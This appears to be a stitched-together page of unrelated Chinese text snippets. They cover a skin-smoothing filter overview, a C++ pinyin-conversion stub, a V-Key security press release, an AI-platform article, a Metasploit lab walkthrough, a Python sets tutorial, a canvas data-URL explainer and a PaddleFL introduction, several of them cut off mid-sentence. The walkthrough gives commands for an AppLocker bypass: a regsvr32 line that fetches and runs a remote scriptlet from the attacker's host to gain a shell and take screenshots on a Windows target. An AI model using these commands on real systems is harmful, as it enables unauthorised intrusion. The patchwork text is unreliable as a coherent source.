kai

目前，对于人脸磨皮算法，大家并不陌生，从PS到APP应用，可谓是层出不穷，这里总结一下，具体流程如下： 1 ，保边滤波器 2 ，肤色检测 3 ，图像融合 4 ，锐化 对于保边滤波器： 此类滤波器主要作用是在平滑皮肤的同时，保留五官的细节。目前可以做磨皮的保边滤波主要有以下几种： 1 ，表面模糊 这个算法是PS中的一个功能，具有较好的保边作用 2 ，双边滤波 这个算法是由一个高斯分量+梯度分量组成权重信息来实现模糊平滑图像的同时，保留边缘的功能的， 3 ，导向滤波 导向滤波是基于导向图的一种保边滤波算法，最开始由He kai ming提出，用于基于暗通道去雾算法中 3 ，基于均值滤波的保边滤波器算法 这个算法速度很快，单效果一般 4 ，选择性模糊算法 5 ，基于高斯滤波的磨皮实现算法 以上就是收集到的，目前可以用来做磨皮算法的滤波器，大家可以参考一下。 对于肤色检测： 肤色检测的相关资料比较多，主要可以分为两大类，基于颜色空间统计信息的方法，基于机器学习分类的方法。 对于图像融合： 这个图像融合，主要是指将滤波图像和细节图像进行融合，得到一张具有较强细节真实感和磨皮效果的结果图。 一般基于alpha通道，或者使用羽化操作来进行融合，公式如下： res = (basePixel * alpha + filterPixel * (255 - alpha)) >>8 注意

#include < string > using std:: string ; // ================================================================== /* * 功能： 将汉字转换成拼音全拼，例如将“马兆瑞”转换成“mazhaorui”。（“妈ma521”可转换成“mama521”） @param[in] Chinese：要转换的汉字字符 @param[out] PinYin：转换后的拼音字符 @par修改记录： * */ // ================================================================== void GetPinYin(unsigned char * Chinese, string & PinYin); void main() { unsigned char chinese[] = " 马兆瑞 " ; string pinyin; GetPinYin(chinese, pinyin); int dsa = 1 ; } string pinyin[] = { " a " , " ai " , " an " , " ang " , " ao " , " ba " , " bai " , " ban " , " bang " , " bao " ,

基于软件的数字安全全球领导者V-Key宣布，V-OS成为首个在Apple iOS和Google Android手机中均获得通用准则EAL3+认证的虚拟安全元件。 由于V-OS是所有V-Key产品的基础，所以EAL3+认证涵盖了广泛的功能，以确保其符合任何软件解决方案的最高国际安全标准。 客户可以信任V-Key产品能提供最高级别的网络安全性。 新加坡--(美国商业资讯)--V-Key宣布，其核心专利技术V-OS成为全球首个达到通用准则评估保证级别(EAL) 3+的虚拟安全元件，该评估体系源自美国政府的通用操作系统保护规范。 V-Key首席技术官Er Chiang Kai先生表示：“产品越复杂，验证其安全性的要求和步骤就越多。只有极少数最顶尖的IT解决方案才能达到公认的保护规范中的3级安全。V-OS达到这一保证水平证明了我们产品的强度和可信赖性。” 与众不同的产品 V-OS类似于智能卡芯片，也称为硬件安全元件。V-OS在移动应用中创建一个隔离的虚拟环境，以安全地存储加密密钥。 这说明了V-OS针对最先进的黑客技术所能提供的保护程度。从V-OS应用保护到V-OS云解决方案的一切都能获得V-OS的EAL3+认证所提供的保证。 信任是我们的 DNA 作为获得SG:D认证的公司，V-Key的V-OS套件已通过了新加坡资讯通信媒体发展管理局的严格评估。V-Key的V

来源：机器人小妹 　　很多时候企业拥有重复，乏味且困难的工作流程，这些流程往往会减慢生产速度并增加运营成本。为了降低生产成本，企业别无选择，只能自动化某些功能以降低生产成本。 　　通过数字化重复性任务，企业可以削减文书和人工成本，从而进一步消除人为错误，从而提高效率，从而带来更好的结果。为了使企业能够从上述收益中获益，他们必须选择正确的自动化工具，否则将一无所获。 　　自动化过程涉及使用人工智能平台，该平台可以支持数字化过程并提供与人类将获得的相同或更好的结果。 　　人工智能（AI）是一台机器模仿人类与其他人类思维相关联的认知功能，例如学习和解决问题，推理，解决问题，知识表示，社交智能和通用智能。 　　AI的核心问题包括推理，知识，计划，学习，自然语言处理感知以及移动和操纵对象的能力。方法包括统计方法，计算智能，软计算和传统的符号AI。 　　AI中使用了许多工具，包括搜索和数学优化版本，逻辑，基于概率和经济学的方法。AI平台被定义为某种允许软件运行的硬件架构或软件框架（包括应用程序框架）。 顶级人工智能平台 　　Google AI Platform, TensorFlow, Microsoft Azure, Rainbird, Infosys Nia, Wipro HOLMES, Dialogflow, Premonition, Ayasdi, MindMeld, Meya,

目标机:win7 ip:192.168.31.136 攻击机:kai liunx ip:192.168.31.54 一.使用web_delivery模块的regsvr32_applocker_bypass_server 1.打开神器metasploit,终端输入msfconsole 2.搜索web_delivery模块,search web_delivery 3.使用命令use exploit/windows/misc/regsvr32_applocker_bypass_server，并且查看这个模块选项 4.设置攻击机ip,set lhost 192.168.31.54 5.运行,run或者rexpolit 6.复制生成的regsvr32 /s /n /u /i:http://192.168.31.54:8080/Yos79zYgod.sct scrobj.dll，拿到目标机win7上去运行. 7.回到攻击机kai liunx就可以看到已经成功监听，并返回了一个session 8.输入sessions,查看session内容 9.输入命令sessions -i 1,这样就控制到了目标机了 10.截取当前桌面屏幕，并且去root目录下查看 11.输入shell，来到我们熟悉的界面，随便执行一个命令看看 来源： oschina 链接： https://my.oschina.net/u

引言 　　本来计划每周完成一篇Python的自学博客，由于上一篇到这一篇遇到了过年、开学等杂事，导致托更到现在。现在又是一个新的学期，春天也越来越近了（冷到感冒）。好了，闲话就说这么多。开始本周的自学Python之路。而且，同时从这周开始，也要开始自学Tensorflow。希望能严格要求自己，不会托更。加油啦。 正文 　　这个周主要学习了集合，文件的操作，以及一点函数中的知识。下面将会详细介绍各个内容。 集合 　　集合也是Python的一种变量类型。它与列表不同，集合中没有顺序，没有重复。通常定义一个集合可以用以下两种方法。例子： # 直接写出集合中的各个元素 list = set([2,1,10,15,18 ]) # 将列表转换为集合，会去掉重复的值 list = [1,5,8,2,4,3,6,1,3 ] list = set(list) 　　对集合的编辑首先从添加开始，向集合中添加一个或多个元素的方法，例子： list = set([2,1,10,15,18]) # 建立集合 list.add( 99) # 添加一项 list.update([99,100,101]) # 添加多项 　　说完了添加，下面将会带来几种删除的方法，例子： list = set([2,1,10,15,18]) # 建立集合 list.remove( 2) # 删除2，若list中不存在会报错 list

canvas有一个非常常用的方法canvas.toDataURL()，它会将canvas转化为data URL的格式。 通常情况下这个data URL的类型为image。 看看下面的例子： <canvas id= "canvas" height= "2" width= "2" > </ canvas > var canvas = document .getElementById( 'canvas' ); var dataURL = canvas.toDataURL(); console .log(dataURL); /* * data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAIAAAACCAYAAABytg0kAAAADklEQVQYV2NkgAJGGAMAAC0AA03DhRMAAAAASUVORK5CYII= */ 复制代码 那么这个以 data:[MIME type];base64, 开头的data URL到底是什么东西呢？ 初识data URL data URL与传统的url有什么区别？ data URL在浏览器地址栏输入后是怎样的？ data URL语法 data URL由哪四部分组成？ [<mediatype>] 详情 [;base64] 和 <data> 详情 常见的data URL形式

【推荐阅读】微服务还能火多久？>>> PaddleFL PaddleFL是一个基于PaddlePaddle的开源联邦学习框架。研究人员可以很轻松地用PaddleFL复制和比较不同的联邦学习算法。开发人员也可以从padderFL中获益，因为用PaddleFL在大规模分布式集群中部署联邦学习系统很容易。PaddleFL提供很多联邦学习策略及其在计算机视觉、自然语言处理、推荐算法等领域的应用。此外，PaddleFL还将提供传统机器学习训练策略的应用，例如多任务学习、联邦学习环境下的迁移学习。依靠着PaddlePaddle的大规模分布式训练和Kubernetes对训练任务的弹性调度能力，PaddleFL可以基于全栈开源软件轻松地部署。 联邦学习 如今，数据变得越来越昂贵，而且跨组织共享原始数据非常困难。联合学习旨在解决组织间数据隔离和数据知识安全共享的问题。联邦学习的概念是由谷歌的研究人员提出的[1，2，3]。 PaddleFL概述 在PaddleFL中，横向和纵向联邦学习策略将根据[4]中给出的分类来实现。PaddleFL也将提供在自然语言处理，计算机视觉和推荐算法等领域的应用示例。 联邦学习策略 纵向联邦学习 : 带privc的逻辑回归，带第三方privc的神经网络[5] 横向联邦学习 : 联邦平均 [2]，差分隐私 [6] 训练策略 多任务学习 [7] 迁移学习 [8] 主动学习

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